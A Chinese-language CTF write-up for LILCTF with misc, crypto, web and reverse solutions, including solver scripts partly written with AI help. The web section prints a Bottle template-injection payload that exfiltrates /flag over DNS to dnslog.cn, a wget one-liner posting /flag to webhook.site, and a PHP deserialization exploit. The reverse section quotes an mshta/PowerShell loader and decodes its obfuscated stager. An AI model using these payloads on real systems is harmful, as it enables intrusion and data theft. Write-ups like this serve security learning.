Misc
是谁没有阅读参赛须知?
字符串搜索
LILCTF{Me4n1ngFu1_w0rDs}
v我50(R)MB
直接下载在线环境中的头像是被截断的图片,这里bp抓包,发现304,然后放包发现到另外一个url,拦截响应,得到完整结构的图片,保存此条目,将响应包解码即可
LILCTF{i_d#nT_kN0w_bUt_@I_93NEraTED_7h4T_c0de }
PNG Master
第一段在文件结束尾部010查看解码即可
1 6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=
1 让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
第二段,LSB隐写,RGB最低位
解码得到
1 在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
第三段,pngcheck
1 2 pngcheck -v 150041_misc-PNG_M@st3r.png chunk IDAT at offset 0x6f7bb, length 270
这一块异常,提取出来,然后zlib解压,得到压缩包
hint是零宽隐写,提示secret与文件名异或
得到flag3:61733765725f696e5f504e477d
三段值十六进制解码得到最终flag
LILCTF{Y0u_4r3_Mas7er_in_PNG}
提前放出附件
bkcrack明文攻击,tar文件元数据里预留很多空白填充,即十六进制00
一般来说,除开头文件名外00较多外,每一块特别是尾端也有很多,利用这一段已知的数据攻击
1 2 3 4 5 6 7 8 9 10 11 E:\Users\20497Downloads\misc>bkcrack -C 153010_misc-public-ahead.zip -c flag.tar -x 500 000000000000000000000000 bkcrack 1.7.1 - 2024-12-21 [18:21:46] Z reduction using 4 bytes of known plaintext 100.0 % (4 / 4) [18:21:46] Attack on 1233365 Z values at index 507 Keys: 945815e7 4e7a2163 e46b8f88 60.7 % (749261 / 1233365) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 749261 [18:31:40] Keys 945815e7 4e7a2163 e46b8f88
1 2 3 4 5 E:\Users\20497Downloads\misc>bkcrack -C 153010_misc-public-ahead.zip -k 945815e7 4e7a2163 e46b8f88 -U newmisc.zip 123456 bkcrack 1.7.1 - 2024-12-21 [18:38:19] Writing unlocked archive newmisc.zip with password "123456" 100.0 % (1 / 1) Wrote unlocked archive.
进一步解压flag.tar得到flag
LILCTF{Z1pCRyp70_1s_n0t_5ecur3}
反馈调查
问卷质量也不错
LILCTF{F4l1En_l3aV3s_Re7urN_T0_tHe1R_rO0tS}
Crypto
ez_math
C与diag(lambda1, lambda2)相似,因此lambda1和lambda2是C的特征值,即两段flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Util.number import *p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161 C = matrix(GF(p), [ [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645 , 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801 ], [7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808 , 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872 ] ]) eigenvalues = C.eigenvalues() lambda1 = eigenvalues[0 ] lambda2 = eigenvalues[1 ] lambda1 = int (lambda1) lambda2 = int (lambda2) flag_part1 = long_to_bytes(lambda1) flag_part2 = long_to_bytes(lambda2) flag = flag_part1 + flag_part2 print ("Flag:" , flag)
LILCTF{It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5}
Linear
本题相当于要求解x 由于方程的数量(16)少于未知数的数量(32),所以会存在多解,利用sagemath,转换成矩阵和向量后,即\(Ax = b\) 静态解用,即A b 会计算 \(Ax = b\) 的一个解 x
1 2 3 4 A = matrix(ZZ, A) b = vector(ZZ, b) x = A \ b print (x)
把该思路给gemini写个交互程序,但它给出了另一种方法,$ Ax - b = 0 $
然后构造增广矩阵M(A | -b),和向量y在x尾部加一个元素1,使其等价于$ My = 0 $
其实就相当于平时线性代数中解矩阵方程(线性方程组)利用增广矩阵然后化简求解类似,只不过转换成代码求解
然后用格LLL方法求最短向量
静态解还算比较容易,但此题动态解限制10秒输入结果,并如果一次性以向量形式求出来还要稍作处理。
对于这种大量数据交互分割还是有些奇怪问题拷打很久gemini才出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import socketimport astimport timeHOST = 'challenge.xinshi.fun' PORT = 39922 s = None try : print (f"[*] 正在连接到 {HOST} :{PORT} ..." ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(float (9.0 )) s.connect((HOST, PORT)) print ("[+] 连接成功!" ) buffer = b"" prompt = b"Enter your solution: " print ("[*] 正在接收 A, b 和提示符..." ) while prompt not in buffer: chunk = s.recv(8192 ) if not chunk: raise ConnectionError("服务器在发送完整数据前关闭了连接" ) buffer += chunk print ("[+] 初始数据接收完毕。" ) data_part = buffer.split(prompt)[0 ].decode().strip() lines = data_part.split('\n' ) non_empty_lines = list (filter (None , lines)) A_str = non_empty_lines[0 ] b_str = non_empty_lines[1 ] A_list = ast.literal_eval(A_str) b_list = ast.literal_eval(b_str) print ("[+] 矩阵 A 和向量 b 解析成功。" ) print ("[*] 正在使用 LLL 算法计算原始解 x..." ) start_time = float (time.time()) A = matrix(ZZ, A_list) b = vector(ZZ, b_list) M = A.augment(-b) K_submodule = M.right_kernel() kernel_basis_vectors = K_submodule.basis() K_matrix = matrix(ZZ, kernel_basis_vectors) L = K_matrix.LLL() y = L[0 ] if y[-1 ] == -1 : y = -y if y[-1 ] != 1 : print ("[!] 错误:LLL 算法未能找到有效解。" ) s.close() exit() x = y[:-1 ] end_time = float (time.time()) print (f"[+] 计算成功!耗时: {end_time - start_time:.2 f} 秒。" ) solution_str = ' ' .join(map (str , list (x))) print (f"[*] 正在发送解..." ) s.sendall(solution_str.encode() + b'\n' ) print ("[*] 等待服务器最终响应..." ) response = s.recv(4096 ).decode() print ("\n" + "=" *20 ) print ("服务器响应:" ) print (response.strip()) print ("=" *20 + "\n" ) except socket.timeout: print ("[!] 错误:网络连接或计算超时。服务器限制10秒,请检查网络或机器性能。" ) except Exception as e: print (f"[!] 发生意外错误: {e} " ) finally : if s: s.close() print ("[*] 连接已关闭。" )
LILCTF{e9bb54f4-8e8a-452c-a99f-467e04d42d44}
mid_math
C = A.inverse() * B B的行是矩阵A的行分别乘以a, b, c, d, e得到的。 因此C是通过基变换矩阵A对一个对角矩阵diag(a, b, c, d, e)进行相似变换。 即C的特征值就是 a, b, c, d, e。 D = C**key。 由线性代数的知识,我们就可以得到 D的特征值必然是 a**key, b**key, c**key, d**key, e**key。 显然,C和D的特征向量是相同的 把题目给gemini,让它写个程序,求C的特征向量,然后其对应相同的特征向量解出key,显然AI的手段略微暴力些。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadp = 14668080038311483271 C_list = [[11315841881544731102 , 2283439871732792326 , 6800685968958241983 , 6426158106328779372 , 9681186993951502212 ], [4729583429936371197 , 9934441408437898498 , 12454838789798706101 , 1137624354220162514 , 8961427323294527914 ], [12212265161975165517 , 8264257544674837561 , 10531819068765930248 , 4088354401871232602 , 14653951889442072670 ], [6045978019175462652 , 11202714988272207073 , 13562937263226951112 , 6648446245634067896 , 13902820281072641413 ], [1046075193917103481 , 3617988773170202613 , 3590111338369894405 , 2646640112163975771 , 5966864698750134707 ]] D_list = [[1785348659555163021 , 3612773974290420260 , 8587341808081935796 , 4393730037042586815 , 10490463205723658044 ], [10457678631610076741 , 1645527195687648140 , 13013316081830726847 , 12925223531522879912 , 5478687620744215372 ], [9878636900393157276 , 13274969755872629366 , 3231582918568068174 , 7045188483430589163 , 5126509884591016427 ], [4914941908205759200 , 7480989013464904670 , 5860406622199128154 , 8016615177615097542 , 13266674393818320551 ], [3005316032591310201 , 6624508725257625760 , 7972954954270186094 , 5331046349070112118 , 6127026494304272395 ]] msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j" P = GF(p) C = matrix(P, C_list) D = matrix(P, D_list) eigs_C_vectors = C.eigenvectors_right() eigs_D_vectors = D.eigenvectors_right() map_C = {tuple (vectors[0 ]): val for val, vectors, _ in eigs_C_vectors} map_D = {tuple (vectors[0 ]): val for val, vectors, _ in eigs_D_vectors} lambda_C = None lambda_D = None for vec, val_C in map_C.items(): if val_C != 0 : if vec in map_D: lambda_C = val_C lambda_D = map_D[vec] print (f"成功匹配到一对特征值:" ) print (f" - 共享特征向量: {vec} " ) print (f" - C 的特征值 (lambda_C): {lambda_C} " ) print (f" - D 的特征值 (lambda_D): {lambda_D} " ) break if lambda_C is not None and lambda_D is not None : key = log(lambda_D, lambda_C) print (f"\n计算得到的密钥 (key): {key} " ) aes_key = pad(long_to_bytes(int (key)), 16 ) cipher = AES.new(aes_key, AES.MODE_ECB) decrypted_padded = cipher.decrypt(msg) flag = unpad(decrypted_padded, 64 ) print (f"\n解密得到的 Flag: {flag.decode()} " ) else : print ("错误:未能找到一对共有的非零特征向量。" )
LILCTF{Are_y0u_5till_4wake_que5t1on_m4ker!}
Space Travel
主要任务是求解key
根据vecs和key的生成方式,key有50*16=800bits
我们有600个方程,显然存在解空间(多解)
学过线性代数的都知道,自由变量的数量 = 800 - 600 = 200
我们可以在有限域2下,进行高斯消元,即模拟手动消元,可以降维到200个方程
然后再找通解和特解,整体过程与解线性方程组差不多,但算法和处理数据代码会更加复杂一些
然后对利用 (bin(nonce & key).count("1")) % 2 解进行校验
先把题目已知情况给gemini,叙述即可,主要给task.py,让gemini利用高斯消元解线性方程恢复key进而得到flag,反复反馈和建议(基本都是python语法问题,思路没问题,还好不是sage不然报错更难修),到这里基本得到有效的key
但解出来得不到正确的flag
后来把gemini的解给deepseek推理模型,得到了正确解
原因在于gemini采用的小端序,而deepseek采用的大端序,可能题目中的Jump up提示的是大端序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 import numpy as npimport hashlibimport astfrom Crypto.Cipher import AESfrom params import vecsdef gf2_gaussian_elimination (matrix ): """在GF(2)上对矩阵进行高斯消元,返回行简化阶梯形矩阵、秩和主元列""" M = matrix.copy() rows, cols = M.shape rank = 0 pivot_cols = [] for j in range (cols): if rank < rows: pivot_row = rank while pivot_row < rows and M[pivot_row, j] == 0 : pivot_row += 1 if pivot_row < rows: M[[rank, pivot_row]] = M[[pivot_row, rank]] for i in range (rows): if i != rank and M[i, j] == 1 : M[i] = (M[i] + M[rank]) % 2 pivot_cols.append(j) rank += 1 return M, rank, pivot_cols def parse_output (filename="output.txt" ): """从 output.txt 解析数据""" with open (filename, 'r' ) as f: lines = f.readlines() data_str = lines[0 ].split(":" , 1 )[1 ].strip() gift_data = ast.literal_eval(data_str) flag_str = lines[1 ].split(":" , 1 )[1 ].strip() encrypted_flag = ast.literal_eval(flag_str) return gift_data, encrypted_flag def vecs_structure_analysis (vecs ): """ 分析 vecs 的结构,返回 u, H_C, 和 vecs_int_set """ vecs_int = [int (v, 2 ) for v in vecs] u_int = vecs_int[0 ] C_int = [v ^ u_int for v in vecs_int] C_str = [format (c, '016b' ) for c in C_int] C_np = np.array([[int (b) for b in v] for v in C_str], dtype=np.uint8) C_rref, rank, pivot_cols = gf2_gaussian_elimination(C_np) if rank != 12 : print (f"[-] vecs 是 [{len (vecs[0 ])} , {rank} ] 线性码,不是 [16,12]。" ) return None , None , None print (f"[*] vecs 是 [16,12] 线性码" ) non_pivot_cols = [j for j in range (16 ) if j not in pivot_cols] permutation = pivot_cols + non_pivot_cols G_permuted = C_rref[:rank, permutation] I_k = G_permuted[:, :rank] P = G_permuted[:, rank:] n_minus_k = 16 - rank H_permuted = np.hstack([P.T, np.eye(n_minus_k, dtype=np.uint8)]) inv_permutation = np.argsort(permutation) H_C = H_permuted[:, inv_permutation] u_np = np.array([int (b) for b in format (u_int, '016b' )], dtype=np.uint8) return u_np, H_C, set (vecs_int) def solve_system (A, b ): """ 在 GF(2) 上求解 A*x = b 返回: 特解, 零空间矩阵 (N_T) """ num_vars = A.shape[1 ] num_eqs = A.shape[0 ] M = np.hstack([A, b.reshape(-1 , 1 )]) M, rank, pivot_cols = gf2_gaussian_elimination(M) for col in pivot_cols: if col >= num_vars: print ("[-] 系统不一致" ) return None , None for i in range (rank, num_eqs): if M[i, -1 ] != 0 : print ("[-] 系统不一致" ) return None , None particular_solution = np.zeros(num_vars, dtype=np.uint8) for i in range (rank): col = pivot_cols[i] particular_solution[col] = M[i, -1 ] free_cols = [j for j in range (num_vars) if j not in pivot_cols] num_free = len (free_cols) if num_free == 0 : return particular_solution, None N_T = np.zeros((num_free, num_vars), dtype=np.uint8) for idx, free_col in enumerate (free_cols): N_T[idx, free_col] = 1 for r in range (rank): pivot_col = pivot_cols[r] if M[r, free_col]: N_T[idx, pivot_col] = 1 return particular_solution, N_T def decrypt_flag (key_vector, encrypted_flag ): """使用恢复的密钥解密 flag""" key_str = "" .join(map (str , key_vector)) key_int = int (key_str, 2 ) aes_key = hashlib.md5(str (key_int).encode()).digest() cipher = AES.new(key=aes_key, nonce=b"Tiffany" , mode=AES.MODE_CTR) decrypted_flag = cipher.decrypt(encrypted_flag) return decrypted_flag def main (): gift_data, encrypted_flag = parse_output() u_vec, H_C, vecs_int_set = vecs_structure_analysis(vecs) if u_vec is None : print ("[-] 无法分析 vecs 结构" ) return key_length = 50 * 16 A = np.zeros((len (gift_data), key_length), dtype=np.uint8) b = np.zeros(len (gift_data), dtype=np.uint8) for i, (nonce, bit) in enumerate (gift_data): nonce_bin = bin (nonce)[2 :].zfill(key_length)[:key_length] for j, bit_val in enumerate (nonce_bin): A[i, j] = int (bit_val) b[i] = bit kp, N_T = solve_system(A, b) if kp is None : print ("[-] 初始系统求解失败" ) return if N_T is None : dim_N = 0 print (f"[+] 初始系统有唯一解" ) valid = True for seg in range (50 ): start_idx = seg * 16 segment = kp[start_idx:start_idx + 16 ] seg_int = int ("" .join(map (str , segment)), 2 ) if seg_int not in vecs_int_set: valid = False break if valid: print ("[+] 验证成功! 找到密钥" ) flag = decrypt_flag(kp, encrypted_flag) print (f"Flag: {flag.decode()} " ) return else : print ("[-] 密钥未通过 vecs 约束" ) return else : dim_N = N_T.shape[0 ] print (f"[*] 初始系统零空间维度: {dim_N} " ) n_constraints = 50 * H_C.shape[0 ] A_c = np.zeros((n_constraints, dim_N), dtype=np.uint8) b_c = np.zeros(n_constraints, dtype=np.uint8) for seg in range (50 ): start_idx = seg * 16 kp_seg = kp[start_idx:start_idx + 16 ] N_T_seg = N_T[:, start_idx:start_idx + 16 ] constraint_matrix = H_C.dot(N_T_seg.T) % 2 constraint_vector = (H_C.dot((u_vec ^ kp_seg).T) % 2 ).flatten() start_row = seg * H_C.shape[0 ] end_row = start_row + H_C.shape[0 ] A_c[start_row:end_row] = constraint_matrix b_c[start_row:end_row] = constraint_vector print ("[*] 求解新约束系统..." ) c_p, c_N_T = solve_system(A_c, b_c) if c_p is None : print ("[-] 约束系统求解失败" ) return if c_N_T is None : print ("[+] 约束系统有唯一解" ) search_space = [c_p] else : c_dim = c_N_T.shape[0 ] print (f"[*] 约束系统有 {2 ** c_dim} 个候选解" ) search_space = [] for i in range (2 ** c_dim): coeffs = np.array([(i >> j) & 1 for j in range (c_dim)], dtype=np.uint8) candidate = c_p.copy() for j in range (c_dim): if coeffs[j]: candidate = (candidate + c_N_T[j]) % 2 search_space.append(candidate) print ("[*] 验证候选密钥..." ) for candidate in search_space: if dim_N > 0 : key_vector = (kp + np.dot(candidate, N_T)) % 2 else : key_vector = kp.copy() valid = True for seg in range (50 ): start_idx = seg * 16 segment = key_vector[start_idx:start_idx + 16 ] seg_int = int ("" .join(map (str , segment)), 2 ) if seg_int not in vecs_int_set: valid = False break if valid: print ("[+] 找到符合约束的密钥!" ) flag = decrypt_flag(key_vector, encrypted_flag) try : flag_str = flag.decode() print (f"[+] 解密成功: {flag_str} " ) return except : print (f"[+] 解密字节: {flag} " ) return print ("[-] 未找到有效密钥" ) if __name__ == "__main__" : main()
LILCTF{Un1qUe_s0luti0n_1N_sUbSp4C3!}
baaaaaag
背包密度小于0.9408,可以用通解,可参考
Merkle-Hellman背包加密(Knapsack)
赛题复现/2024HGAME
其实就是构造格攻击,二进制明文的向量填充-1,与构造由公钥列向量a(对角线填充1或2和密文我们这里的b)矩阵左乘形成线性关系,然后调用BKZ算法求解。
这里我们采用Lazzaro的脚本略微修改
恶心在块大小设置为45才跑了出来正确的p,小于40基本是多解或者不准确的p。
我的电脑大概最少要跑759s出结果,构造更好的格可以在块大小30左右出精确解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from sage.all import *import libnumimport hashlibfrom math import *from Crypto.Util.Padding import pad, unpadfrom Crypto.Cipher import AESa = [965032030645819473226880279 , 699680391768891665598556373 , 1022177754214744901247677527 , 680767714574395595448529297 , 1051144590442830830160656147 , 1168660688736302219798380151 , 796387349856554292443995049 , 740579849809188939723024937 , 940772121362440582976978071 , 787438752754751885229607747 , 1057710371763143522769262019 , 792170184324681833710987771 , 912844392679297386754386581 , 906787506373115208506221831 , 1073356067972226734803331711 , 1230248891920689478236428803 , 713426848479513005774497331 , 979527247256538239116435051 , 979496765566798546828265437 , 836939515442243300252499479 , 1185281999050646451167583269 , 673490198827213717568519179 , 776378201435505605316348517 , 809920773352200236442451667 , 1032450692535471534282750757 , 1116346000400545215913754039 , 1147788846283552769049123803 , 994439464049503065517009393 , 825645323767262265006257537 , 1076742721724413264636318241 , 731782018659142904179016783 , 656162889354758353371699131 , 1045520414263498704019552571 , 1213714972395170583781976983 , 949950729999198576080781001 , 1150032993579134750099465519 , 975992662970919388672800773 , 1129148699796142943831843099 , 898871798141537568624106939 , 997718314505250470787513281 , 631543452089232890507925619 , 831335899173370929279633943 , 1186748765521175593031174791 , 884252194903912680865071301 , 1016020417916761281986717467 , 896205582917201847609656147 , 959440423632738884107086307 , 993368100536690520995612807 , 702602277993849887546504851 , 1102807438605649402749034481 , 629539427333081638691538089 , 887663258680338594196147387 , 1001965883259152684661493409 , 1043811683483962480162133633 , 938713759383186904819771339 , 1023699641268310599371568653 , 784025822858960757703945309 , 986182634512707587971047731 , 1064739425741411525721437119 , 1209428051066908071290286953 , 667510673843333963641751177 , 642828919542760339851273551 , 1086628537309368288204342599 , 1084848944960506663668298859 , 667827295200373631038775959 , 752634137348312783761723507 , 707994297795744761368888949 , 747998982630688589828284363 , 710184791175333909291593189 , 651183930154725716807946709 , 724836607223400074343868079 , 1118993538091590299721647899 ] bag = 34962396275078207988771864327 print (bag)print (len (a))n = len (a) ciphertext = b'Lo~G\xf46>\xd609\x8e\x8e\xf5\xf83\xb5\xf0\x8f\x9f6&\xea\x02\xfa\xb1_L\x85\x93\x93\xf7,`|\xc6\xbe\x05&\x85\x8bC\xcd\xe6?TV4q' d = n / log(max (a), 2 ) print (CDF(d))assert CDF(d) < 0.9408 M = Matrix.identity(n) * 2 last_row = [1 for x in a] M_last_row = Matrix(ZZ, 1 , len (last_row), last_row) last_col = a last_col.append(bag) M_last_col = Matrix(ZZ, len (last_col), 1 , last_col) M = M.stack(M_last_row) M = M.augment(M_last_col) X = M.BKZ(block_size=45 ) sol = [] for i in range (n + 1 ): testrow = X.row(i).list ()[:-1 ] if set (testrow).issubset([-1 , 1 ]): for v in testrow: if v == 1 : sol.append(0 ) elif v == -1 : sol.append(1 ) break s = sol print (s)t = '' .join([str (i) for i in s]) print (t)p = '' .join([str (i) for i in s[::-1 ]]) p = int (p,2 ) key = hashlib.sha256(str (p).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(ciphertext) print (unpad(decrypted,16 ))
1 2 3 4 34962396275078207988771864327 72 0.8000799299496526 [0 , 0 , 1 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 1 , 0 , 1 , 1 , 0 , 0 , 1 , 1 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 1 , 1 , 1 ]
LILCTF{M4ybe_7he_brut3_f0rce_1s_be5t}
Web
ez_bottle
看到template和黑名单,大概率是模板注入,看导入的from bottle import route, run, template, post, request, static_file, error,那就是bottle模板注入
搜索bottle template,可看到
https://www.cnblogs.com/i2u9/p/bottle-template.html
:默认模板语法使用语法符号为 <% %> % {{ }}
我们用%绕过黑名单,然后就可以导入python模块了,我们采用pty伪终端调用/bin/sh执行任意命令,将回显外带到DNSlog上
1 2 %import pty %pty.spawn(['/bin/sh' , '-c' , 'ping -c 1 `cat /flag|base64|tr -d "\n"`.abcdef.dnslog.cn' ])
LILCTF{6#T7lE_h45_63EN_REcyCL3d}
Ekko_note
先注册个普通用户,在server_info里查看启动时间
uuid8可预测性,利用启动时间预测reset_token
重置密码,邮箱在代码里有,uuid8在python3.14版本时加入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import random, uuidSERVER_START_TIME = 1755303362.776291 random.seed(SERVER_START_TIME) def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded = byte_string.ljust(6 , b'\x00' ) return int .from_bytes(padded, byteorder='big' ) a = padding("admin" ) token = str (uuid.uuid8(a=a)) print ("Predicted reset token for admin:" , token)
61646d69-6e00-89bf-9a16-ea83f571f76d
重置后在管理员设置里设置url指向一个能返回data为2066年以后的json数据
1 https://app.beeceptor.com/console/flagtest
可利用上面免费网页,添加响应规则
然后即可指向命令
sh -c '… | wget --post-file=- …' 可以外带回显
1 sh -c 'echo "===== FLAG ====="; cat /flag 2>/dev/null' | wget --post-file=- https://webhook.site/a4b98b9d-d05e-447c-a006-def341dba3e6
接着webhook回显
LILCTF{U_hav3_fOund_7He_ri6hT_TimeL1N3!}
Your Uns3r
打开网站审计php代码,发现利用点是User类下的exec函数,exec函数在__destruct函数中触发。
在这之前有三个地方需要我们去绕过,throw异常抛出、strpos函数和exec函数中的多次反序列化
throw异常抛出,可以用设数组为0进行绕过
strpos函数匹配,php对类名的大小写不敏感,把Access改小写绕过
exec函数中的多次反序列化,将username设置为/61dmin绕过
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User { public $username ; public $value ;} class Access { protected $prefix ='/etc/' ; protected $suffix ="/../../flag" ; } $us =new User ();$us ->username="admin" ;$Ac =new Access ();$sd =serialize ($Ac );$rd =str_replace ("Access" ,"access" ,$sd );$us ->value=$rd ;$fk =array ($us ,0 );$c1 =str_replace ("i:1;i:0;}" ,"i:0;i:0;}" ,serialize ($fk ));$c2 =str_replace ('s:5:"admin"' ,'S:5:"\61dmin"' ,$c1 );echo urlencode ($c2 );
Reverse
1’M no7 A rO6oT
查看网页源码,发现用mshta.exe执行MP3中的恶意HTA命令
1 powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:43557/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:43557/Coloringoutomic_Host.mp3
把mp3下载下来,确实有HTA标签,但没有有效内容
后来bp抓包,拦截响应,发现响应中的mp3数据比下载下来的多了一大段JavaScript命令
但有混淆,用下面AI写出来的反混淆程序最终得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def decode_from_char_codes (): code = """ SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=114;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79; """ arg_list = """ """ code = code.replace('\n' , '' ).strip() arg_list = arg_list.replace('\n' , '' ).strip() variables = {} for part in code.split(';' ): if '=' in part: name, value = part.split('=' , 1 ) variables[name.strip()] = int (value.strip()) args = [arg.strip() for arg in arg_list.split(',' )] chars = [] for arg in args: if arg in variables: chars.append(chr (variables[arg])) else : print (f"警告:未找到变量 {arg} " ) decoded = '' .join(chars) print ("解码结果:\n" ) print (decoded) return decoded if __name__ == '__main__' : decode_from_char_codes()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def decode_js_array (arr ): """ 解码 JS 数组为可读字符串。 JS 里用了 String.fromCharCode(FVKq[i] - 601) """ return '' .join(chr (x - 601 ) for x in arr) FVKq = [] decoded = decode_js_array(FVKq) print (decoded)import rehex_str = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fff9f9fbe3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7" hex_bytes = re.findall('..' , hex_str) decoded = '' .join([chr (int (b,16 ) ^ 0xCC ) for b in hex_bytes]) print (decoded)
